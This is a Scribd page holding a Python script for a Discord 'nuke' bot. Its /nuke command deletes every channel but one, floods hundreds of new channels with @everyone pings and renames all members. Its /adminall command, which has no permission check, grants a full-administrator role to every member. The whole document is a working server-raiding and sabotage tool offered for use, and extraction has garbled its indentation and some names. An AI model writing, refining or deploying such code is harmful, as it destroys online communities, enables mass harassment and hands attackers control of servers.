0% found this document useful (0 votes)
178 views3 pages

Discord Bot for Mass Nuke Commands

This Python script implements a Discord bot with commands for mass channel deletion and role assignment. The 'nuke' command allows administrators to delete all channels except the command channel, create new channels, and send messages, while the 'adminall' command grants a specified role to all members. Configuration is managed through a JSON file, and the bot uses Discord's API for interaction and permissions.

Uploaded by

matinandmuzammil
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
178 views3 pages

Discord Bot for Mass Nuke Commands

This Python script implements a Discord bot with commands for mass channel deletion and role assignment. The 'nuke' command allows administrators to delete all channels except the command channel, create new channels, and send messages, while the 'adminall' command grants a specified role to all members. Configuration is managed through a JSON file, and the bot uses Discord's API for interaction and permissions.

Uploaded by

matinandmuzammil
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

# main.

py
import discord
from discord import app_commands
from [Link] import commands
import asyncio
import json

# ==================== CONFIG ====================


try:
with open("[Link]") as f:
cfg = [Link](f)
TOKEN = cfg["token"]
PREFIX = cfg["prefix"]
OWNER_ID = int([Link]("owner_id", 0)) # YOUR DISCORD ID
except Exception as e:
print(f"Config error: {e}")
exit(1)

intents = [Link]()
[Link] = True
intents.message_content = True
[Link] = True

bot = [Link](command_prefix=PREFIX, intents=intents)

# ==================== /nuke — MASS + DM STATUS ====================


@app_commands.command(name="nuke", description="MASS NUKE: 1000 channels, 100
pings")
@app_commands.describe(
server_name="New name",
channel_name="Channel name",
channel_count="1-1000",
ping_message="Ping",
custom_message="Message",
pings_per_channel="1-100",
nickname="Nickname or 'none'"
)
@app_commands.checks.has_permissions(administrator=True)
async def nuke(
interaction: [Link],
server_name: str = "",
channel_name: str = "nuked",
channel_count: app_commands.Range[int, 1, 1000] = 500,
ping_message: str = "@everyone",
custom_message: str = "KARUMA WAS HERE",
pings_per_channel: app_commands.Range[int, 1, 100] = 50,
nickname: str = "none"
):
await [Link](thinking=True)
guild = [Link]
user = [Link]

# === SEND STATUS TO YOUR DMs (NEVER DELETED) ===


try:
dm = await [Link]()
status = await [Link]("**MASS NUKE STARTED** — Deleting channels...")
except:
await [Link]("Could not DM you. Using channel...",
ephemeral=True)
status = await [Link]("**MASS NUKE STARTED**")

# === 1. RENAME ===


if server_name:
try: await [Link](name=server_name)
except: pass

# === 2. MASS DELETE ALL EXCEPT COMMAND CHANNEL ===


command_channel = [Link]
delete_tasks = []
for ch in [Link]:
if ch != command_channel: # DON'T DELETE THIS CHANNEL
delete_tasks.append([Link]())
await [Link](*delete_tasks, return_exceptions=True)

await [Link](content="**ALL DELETED** — Creating channels...")

# === 3. MASS CREATE + SPAM ===


async def mass_spam():
try:
ch = await guild.create_text_channel(channel_name)
for _ in range(pings_per_channel):
try:
await [Link](ping_message)
await [Link](custom_message)
except:
break
except:
pass

create_tasks = [mass_spam() for _ in range(channel_count)]


await [Link](*create_tasks, return_exceptions=True)

# === 4. NICKNAMES ===


if [Link]() != "none":
await [Link](
*[[Link](nick=nickname) for m in [Link] if m != [Link]],
return_exceptions=True
)

total = channel_count * pings_per_channel * 2


await [Link](
content=f"**MASS NUKE 100% COMPLETE**\n"
f"Channels: `{channel_count}`\n"
f"Total Messages: `{total}`\n"
f"**NO CRASH, NO 10003**"
)

# ==================== /adminall ====================


@app_commands.command(name="adminall")
async def adminall(interaction: [Link], role_name: str = "GOD"):
await [Link](thinking=True)
try:
role = await [Link].create_role(name=role_name,
permissions=[Link]())
await [Link](
*[m.add_roles(role) for m in [Link] if not [Link]],
return_exceptions=True
)
await [Link](f"**ADMINALL** — `{role_name}` given")
except:
await [Link]("Failed.")

# ==================== STARTUP ====================


@[Link]
async def on_ready():
print(f"MASS NUKE BOT READY: {[Link]}")
try:
synced = await [Link]()
print(f"Synced {len(synced)} commands")
except Exception as e:
print(f"Sync error: {e}")

[Link].add_command(nuke)
[Link].add_command(adminall)

[Link](TOKEN)

You might also like